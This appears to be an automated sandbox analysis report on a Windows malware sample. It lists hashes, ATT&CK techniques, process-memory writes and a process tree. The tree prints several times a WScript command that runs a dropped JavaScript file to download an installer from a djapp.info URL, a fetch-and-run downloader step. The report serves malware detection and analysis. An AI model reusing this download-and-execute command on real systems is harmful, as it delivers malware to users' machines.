fe4ef8803676db0c1d397b338b78a0ec5cb7718159043d11201cdf994232b34c

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
02/06/2024, 23:05

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General

Target
8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe
Size 184KB
Sample240602-22w2xabe39
SHA256 fe4ef8803676db0c1d397b338b78a0ec5cb7718159043d11201cdf994232b34c
MD5 8fbf524cfb433c6f564366c0224f4c1e
SHA1 c43043f7f2e80ca2fb80f2206cb20a9db7206abe
SHA512 17197b4fd57f2089e951de85339b5805a107368616b8ba286321e8da89cc957afa5e0ae61547a1ba9125857569e4b01c808a9d8788f4419f9e8ea8a53e0577f5
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndne
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	4428	WScript.exe
27	3576	WScript.exe
31	4872	WScript.exe
48	2688	WScript.exe
50	4784	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 4428	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	84
PID 2628 wrote to memory of 4428	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	84
PID 2628 wrote to memory of 4428	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	84
PID 2628 wrote to memory of 3576	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	94
PID 2628 wrote to memory of 3576	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	94
PID 2628 wrote to memory of 3576	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	94
PID 2628 wrote to memory of 4872	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	95
PID 2628 wrote to memory of 4872	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	95
PID 2628 wrote to memory of 4872	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	95
PID 2628 wrote to memory of 2688	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	99
PID 2628 wrote to memory of 2688	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	99
PID 2628 wrote to memory of 2688	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	99
PID 2628 wrote to memory of 4784	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	100
PID 2628 wrote to memory of 4784	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	100
PID 2628 wrote to memory of 4784	2628	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4C6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:4428
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4C6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:3576
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4C6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:4872
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4C6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4C6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:4784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf4C6A.js

Path C:\Users\Admin\AppData\Local\Temp\fuf4C6A.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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